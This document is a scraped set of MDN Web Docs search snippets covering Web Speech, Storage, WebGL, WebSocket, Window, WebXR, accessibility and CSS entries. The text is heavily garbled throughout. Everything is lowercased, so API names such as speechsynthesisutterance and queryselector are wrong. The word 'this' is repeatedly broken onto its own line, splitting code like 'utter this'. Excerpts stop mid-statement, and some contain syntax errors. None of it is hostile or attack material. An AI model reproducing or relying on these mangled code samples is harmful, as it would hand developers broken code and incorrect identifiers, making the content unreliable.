thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); ...
SpeechRecognitionEvent.interpretation - Web APIs
this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation = event.interpretation; value the returned value can be of any type.
SpeechRecognitionResult.isFinal - Web APIs
the isfinal read-only property of the speechrecognitionresult interface is a boolean that states whether
this result is final (true) or not (false) — if so, then
this is the final time
this result will be returned; if not, then
this result is an interim result, and may be updated later on.
SpeechSynthesis: voiceschanged event - Web APIs
the voiceschanged event of the web speech api is fired when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) bubbles no cancelable no interface event event handler property onvoiceschanged examples
this could be used to repopulate a list of voices that the user can choose between when the event fires.
SpeechSynthesisErrorEvent - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + eve...
SpeechSynthesisEvent.charIndex - Web APIs
examples utter
this.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.elapsedTime - Web APIs
examples utter
this.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.name - Web APIs
examples utter
this.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
examples utter
this.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisEvent - Web APIs
examples utter
this.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } utter
this.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification ...
SpeechSynthesisUtterance: boundary event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler onboundary examples you can use the boundary event in an addeventlistener method: utter
this.addeventlistener('boundary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utter
this.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis uttera...
SpeechSynthesisUtterance: end event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onend examples you can use the end event in an addeventlistener method: utter
this.addeventlistener('end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utter
this.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis ut...
SpeechSynthesisUtterance: error event - Web APIs
bubbles no cancelable no interface speechsynthesiserrorevent event handler property onerror examples you can use the error event in an addeventlistener method: utter
this.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utter
this.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'sp...
SpeechSynthesisUtterance.lang - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.lang = 'en-us'; synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance: mark event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onmark examples you can use the mark event in an addeventlistener method: utter
this.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utter
this.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapse...
SpeechSynthesisUtterance.onend - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapse...
SpeechSynthesisUtterance.onerror - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + eve...
SpeechSynthesisUtterance.onmark - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur...
SpeechSynthesisUtterance: pause event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onpause examples you can use the pause event in an addeventlistener method: utter
this.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utter
this.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specifi...
SpeechSynthesisUtterance: resume event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onresume examples you can use the resume event in an addeventlistener method: utter
this.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utter
this.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specificatio...
SpeechSynthesisUtterance: start event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onstart examples you can use the start event in an addeventlistener method: utter
this.addeventlistener('start', function(event) { console.log('we have started uttering
this speech: ' + event.utterance.text); }); or use the onstart event handler property: utter
this.onstart = function(event) { console.log('we have started uttering
this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specifi...
SpeechSynthesisUtterance.text - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } console.log(utter
this.text); synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisVoice.localService - Web APIs
the localservice read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is supplied by a local speech synthesizer service (true), or a remote speech synthesizer service (false.)
this property is provided to allow differentiation in the case that some voice options are provided by a remote service; it is possible that remote voices might have extra latency, bandwidth or cost associated with them, so such distinction may be useful.
StaticRange - Web APIs
this lets the user agent avoid a lot of work that is unnecessary if the web app or site doesn't need a live-updating range.
StereoPannerNode - Web APIs
this interface was introduced as a much simpler way to apply a simple panning effect than having to use a full pannernode.
Storage.getItem() - Web APIs
.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see
this used within a real world example, see our web storage demo.
Storage.setItem() - Web APIs
function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); } note: to see
this used within a real world example, see our web storage demo.
StorageEstimate.usage - Web APIs
example in
this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
StorageManager - Web APIs
you can get a reference to
this interface using either navigator.storage or workernavigator.storage.
StyleSheet.disabled - Web APIs
a style sheet may be disabled by manually setting
this property to true or if it's an inactive alternative style sheet.
StyleSheet.parentStyleSheet - Web APIs
syntax objref = stylesheet.parentstylesheet example // find the top level stylesheet if (stylesheet.parentstylesheet) { sheet = stylesheet.parentstylesheet; } else { sheet = stylesheet; } notes
this property returns null if the current stylesheet is a top-level stylesheet or if stylesheet inclusion is not supported.
Text() - Web APIs
syntax text1 = new text(); // create an empty text node text2 = new text("
this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
Text.splitText() - Web APIs
example in
this example, the text of a <p> is split into two text nodes, and a <u> is inserted between them.
Text - Web APIs
text.wholetext read only returns a domstring containing the text of all text nodes logically adjacent to
this node, concatenated in document order.
TextDecoder() - Web APIs
"gb18030" 'gb18030' "hz-gb-2312" 'hz-gb-2312' "big5", "big5-hkscs", "cn-big5", "csbig5", "x-x-big5" 'big5' "cseucpkdfmtjapanese", "euc-jp", "x-euc-jp" 'euc-jp' "csiso2022jp", "iso-2022-jp" note: firefox used to accept iso-2022-jp-2 sequences silently when an iso-2022-jp decoder was instantiated, however
this was removed in version 56 to simplify the api, as no other browsers support it and no pages seem to use it.
TextEncoder.prototype.encode() - Web APIs
examples <p class="source">
this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition ...
TextMetrics - Web APIs
examples baselines illustrated
this example demonstrates the baselines the textmetrics object holds.
TextTrackList.onchange - Web APIs
syntax texttracklist.onchange = eventhandler; example
this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
TextTrackList.onremovetrack - Web APIs
example
this simple example just fetches the current number of text tracks in the first media element whenever a track is removed from the media element.
TimeRanges.end() - Web APIs
example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } }
this example looks at the time ranges and looks to see if the entire video has been loaded.
TimeRanges.length - Web APIs
gth = timeranges.length; example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } }
this example looks at the time ranges and looks to see if the entire video has been loaded.
TimeRanges.start() - Web APIs
example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the video, so the whole thing is loaded } }
this example looks at the time ranges and looks to see if the entire video has been loaded.
Touch() - Web APIs
the user agent may use 0 as the value in
this case, or it may use any other value in the allowed range.
Touch.pageX - Web APIs
example
this example illustrates how to access the touch object's touch.pagex and touch.pagey properties.
Touch.pageY - Web APIs
example
this example illustrates how to access the touch object's touch.pagex and touch.pagey properties.
Touch.screenX - Web APIs
example
this example illustrates how to access the touch object's touch.screenx and touch.screeny properties.
WebGLRenderingContext.getContextAttributes() - Web APIs
examples given
this <canvas> element <canvas id="canvas"></canvas> and given
this webgl context var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getcontextattributes(); the getcontextattributes method returns an object that describes the attributes set on
this context, for example: { alpha: true, antialias: true, depth: true, failifmajorperformancecaveat: false, powerpreference: "default", premul...
WebGLSampler - Web APIs
when working with webglsampler objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.createsampler() webgl2renderingcontext.deletesampler() webgl2renderingcontext.issampler() webgl2renderingcontext.bindsampler() webgl2renderingcontext.getsamplerparameter() examples creating a webglsampler object in
this example, gl must be a webgl2renderingcontext.
WebGLShader - Web APIs
at
this point the webglshader is still not in a usable form and must still be attached to a webglprogram.
WebGLSync - Web APIs
when working with webglsync objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.fencesync() webgl2renderingcontext.deletesync() webgl2renderingcontext.issync() webgl2renderingcontext.clientwaitsync() webgl2renderingcontext.waitsync() webgl2renderingcontext.getsyncparameter() examples creating a webglsync object in
this example, gl must be a webgl2renderingcontext.
WebGL constants - Web APIs
passed to frontface to specify the front face of a polygon is drawn in the clockwise direction ccw 0x0901 passed to frontface to specify the front face of a polygon is drawn in the counter clockwise direction hints constants passed to webglrenderingcontext.hint() constant name value description dont_care 0x1100 there is no preference for
this behavior.
Data in WebGL - Web APIs
this is commonly used to share a vertex's normal vector after it has been computed by the vertex shader.
WebSocket() - Web APIs
syntax var awebsocket = new websocket(url [, protocols]); parameters url the url to which to connect;
this should be the url to which the websocket server will respond.
WebSocket.onopen - Web APIs
the websocket.onopen property is an eventhandler that is called when the websocket connection's readystate changes to 1;
this indicates that the connection is ready to send and receive data.
WebSocket.protocol - Web APIs
the websocket.protocol read-only property returns the name of the sub-protocol the server selected;
this will be one of the strings specified in the protocols parameter when creating the websocket object, or the empty string if no connection is established.
WebSocket.send() - Web APIs
note: gecko's implementation of the send() method differs somewhat from the specification in gecko 6.0; gecko returns a boolean indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted);
this is corrected in gecko 8.0.
WebSocket - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
Web Animations API - Web APIs
this interface exists to define timeline features (inherited by documenttimeline and future timeline objects) and is not itself accessed by developers.
Web Bluetooth API - Web APIs
bluetoothremotegattservice represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of
this service.
Window.closed - Web APIs
refreshing a previously opened popup in
this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data.
Window.controllers - Web APIs
however, the added controllers must be explicitly removed when the window is unloaded, as
this is not done automatically.
Window.external - Web APIs
however,
this is now deprecated, and the contained methods are now dummy functions that do nothing as per spec.
Window.focus() - Web APIs
it may fail due to user settings and the window isn't guaranteed to be frontmost before
this method returns.
Window.frameElement - Web APIs
note: despite
this property's name, it works for documents embedded within any embedding point, including <object>, <iframe>, or <embed>.
Window.getDefaultComputedStyle() - Web APIs
see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how
this is implemented.
Window.home() - Web APIs
obsolete since gecko 31 (firefox 31 / thunderbird 31 / seamonkey 2.28)
this feature is obsolete.
Window.length - Web APIs
example if (window.length) { //
this is a document with subframes } specifications specification status comment html living standardthe definition of 'window.length' in that specification.
Window.localStorage - Web APIs
exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (
this can happen if the origin uses the file: or data: scheme, for example).
Window: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like
this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like
this: window.addeventlistener('message', ...
Window.name - Web APIs
syntax string = window.name; window.name = string; example <script> // open a tab with a specific browsing context name const othertab = window.open("url1", "_blank"); if (othertab) othertab.name = "other-tab"; </script> <a href="url2" target="other-tab">
this link will be opened in the other tab.</a> notes the name of the window is used primarily for setting targets for hyperlinks and forms.
Window.navigator - Web APIs
syntax navigatorobject = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and
this may report false positives for unlisted browsers.
Window: rejectionhandled event - Web APIs
this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection event, which is sent when a promise is rejected but there is no hander for the rejection.
Window.resizeBy() - Web APIs
example // shrink the window window.resizeby(-200, -200); notes
this method resizes the window relative to its current size.
Window.restore() - Web APIs
this method is currently not working, but you can use: window.moveto(window.screenx, window.screeny); browser compatibility the compatibility table in
this page is generated from structured data.
Window.screenLeft - Web APIs
in
this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
Window.screenTop - Web APIs
in
this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
Window.scrollByLines() - Web APIs
example <!-- scroll up the document by 5 lines --> <button id="scroll-up" onclick="scrollbylines(-5);">up 5 lines</button> <!-- scroll down the document by 5 lines --> <button id="scroll-down" onclick="scrollbylines(5);">down 5 lines</button> specification
this is not part of any specification.
Window.scrollTo() - Web APIs
examples window.scrollto(0, 1000); using options: window.scrollto({ top: 100, left: 100, behavior: 'smooth' }); notes window.scroll() is effectively the same as
this method.
Window.self - Web APIs
if (window.parent.frames[0] != window.self) { //
this window is not the first frame in the list } furthermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications s...
Window.speechSynthesis - Web APIs
n.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe defini...
Window.top - Web APIs
this property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset.
WindowClient.focus() - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); }...
WindowClient.focused - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.ope...
Worker: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples
this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message fro...
XRFrame.getViewerPose() - Web APIs
examples in
this callback function for requestanimationframe(), the xrviewerpose describing the viewer's viewpoint on the world is obtained by calling getviewerpose() on the xrframe passed into the callback.
XRFrame.session - Web APIs
syntax var xrsession = xrframe.session; value a xrsession object representing the webxr session for which
this xrframe describes the object positions and orientations.
XRHandedness - Web APIs
function updateinputsources(session, frame, refspace) { for (let source of session.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, refspace); if (grippose) { myrenderhandobject(grippose, inputsource.handedness); } } } }
this function, which would be called every animation frame (or possibly just periodically, depending on the degree of smoothness required and any performance constraints), scans the list of input sources looking for any which have a gripspace which isn't null.
XRInputSourceArray.length - Web APIs
examples in
this example, a game that requires at least one input source uses length to check
this before proceeding to allow the user to play the game.
XRPermissionDescriptor.mode - Web APIs
no specific features are specified during
this query; see requiredfeatures and optionalfeatures for more information on specifying features during a webxr permission check.
XRReferenceSpaceEvent.transform - Web APIs
examples
this example handles the reset event by walking through all the objects in a scene, updating each object's position by multiplying it with the event's given transform.
XRRigidTransform.position - Web APIs
} else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use,
this begins by looking to see if a variable immersivesession is true; if so, we first request a bounded-floor reference space.
XRSession: end event - Web APIs
bubbles no cancelable no interface xrsessionevent event handler xrsession.onend example to be informed when a webxr session comes to an end, you can add a handler to your xrsession instance using addeventlistener(), like
this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' i...
XRSession.visibilityState - Web APIs
syntax visibilitystate = xrsession.visibilitystate; value a domstring containing one of the values defined in the enumerated type xrvisibilitystate;
this string indicates whether or not the xr content is visible to the user and if it is, whether or not it's currently the primary focus.
XRSessionInit - Web APIs
at
this time, all features are identified using strings from the xrreferencespacetype enumeration, but future updates to the webxr standard may add more features.
XRView.projectionMatrix - Web APIs
this should be used to integrate perspective to everything in the scene, in order to ensure the result is consistent with what the eye expects to see.
XRViewport.height - Web APIs
along with width and the origin point given by x and y,
this defines the area within which rendered content will be drawn.
XRViewport.width - Web APIs
this is defined using
this property along with the viewport's height and its origin given by its properties x and y.
XRViewport.y - Web APIs
note: although other web apis typically consider the y axis to begin at the top and grow larger progressing downward, webgl reverses
this, with y growing larger as it goes upward on the screen.
XRViewport - Web APIs
these values may be passed directly into the webglrenderingcontext.viewport() method: let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); example
this example sets up an animation frame callback using requestanimationframe().
ARIA: grid role - Accessibility
if the grid includes a column with checkboxes to select rows,
this key combination can be used to check that box even if the focus is not on the checkbox.
Community - Accessibility
this document provides links to mailing lists, newsgroups, forums, and other communities related to accessbility.
HTML To MSAA - Accessibility
this table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements.
-moz-orient - CSS: Cascading Style Sheets
though submitted to the w3c, with positive initial feedback,
this property is not yet part of any specification; currently,
this is a mozilla-specific extension (that is, -moz-orient).
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at
this paragraph's bottom-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-bottomright: 2em; } result the example above will not display the desired effect if you are viewing
this in a browser other than firefox.
-moz-outline-radius-topright - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at
this paragraph's top-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topright: 2em; } result the example above will not display the desired effect if you are viewing
this in a browser other than firefox.
-webkit-box-reflect - CSS: Cascading Style Sheets
/* direction values */ -webkit-box-reflect: above; -webkit-box-reflect: below; -webkit-box-reflect: left; -webkit-box-reflect: right; /* offset value */ -webkit-box-reflect: below 10px; /* mask value */ -webkit-box-reflect: below 0 linear-gradient(transparent, white); /* global values */ -webkit-box-reflect: inherit; -webkit-box-reflect: initial; -webkit-box-reflect: unset; note:
this feature is not intended to be used by web sites.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscrolling boxesinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | touch examples html <div class="scroll-touch"> <p>
this paragraph has momentum scrolling </p> </div> <div class="scroll-auto"> <p>
this paragraph does not.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like
this: specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
</div> <div class="invisible-scrollbar">
thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword </div> <div class="mostly-customized-scrollbar">
thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword<br> and pretty tall<br> thing with weird scrollbars.<br> who thought scrollbars could be made weeeeird?
::grammar-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in
this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::part() - CSS: Cascading Style Sheets
tom-element::part(tab):hover:active { background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); global
this.customelements.define(template.id, class extends htmlelement { constructor() { super();
this.attachshadow({ mode: "open" });
this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in
this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
:first - CSS: Cascading Style Sheets
(see :first-child for general first element of a node.) /* selects the first page when printing */ @page :first { margin-left: 50%; margin-top: 50%; } note: you can't change all css properties with
this pseudo-class.
:nth-of-type() - CSS: Cascading Style Sheets
formal syntax :nth-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples basic example html <div> <div>
this element isn't counted.</div> <p>1st paragraph.</p> <p>2nd paragraph.</p> <div>
this element isn't counted.</div> <p>3rd paragraph.</p> <p class="fancy">4th paragraph.</p> </div> css /* odd paragraphs */ p:nth-of-type(2n+1) { color: red; } /* even paragraphs */ p:nth-of-type(2n) { color: blue; } /* first paragraph */ p:nth-of-type(1) { font-weight: bold; } /*
this has no effect...
:placeholder-shown - CSS: Cascading Style Sheets
/* selects any element with an active placeholder */ :placeholder-shown { border: 2px solid silver; } syntax :placeholder-shown examples basic example
this example applies special font and border styles when the placeholder is shown.
font-style - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | italic | oblique <angle>{0,2} examples specifying an italic font style as an example, consider the garamond font family, in its normal form, we get the following result: @font-face { font-family: garamond; src: url('garamond.ttf'); } the italicized version of
this text uses the same glyphs present in the unstyled version, but they are artificially sloped by a few degrees.
src - CSS: Cascading Style Sheets
description the value of
this descriptor is a prioritized, comma-separated list of external references or locally-installed font face names.
color - CSS: Cascading Style Sheets
examples html <p>
this text should be black on non-color devices, red on devices with a low number of colors, and greenish on devices with a high number of colors.</p> css p { color: black; } /* any color device */ @media (color) { p { color: red; } } /* any color device with at least 8 bits per color component */ @media (min-color: 8) { p { color: #24ba13; } } result specifications ...
height - CSS: Cascading Style Sheets
examples html <div>watch
this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment ...
resolution - CSS: Cascading Style Sheets
examples html <p>
this is a test of your device's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { background: yellow; } } result specifications specification status comment...
shape - CSS: Cascading Style Sheets
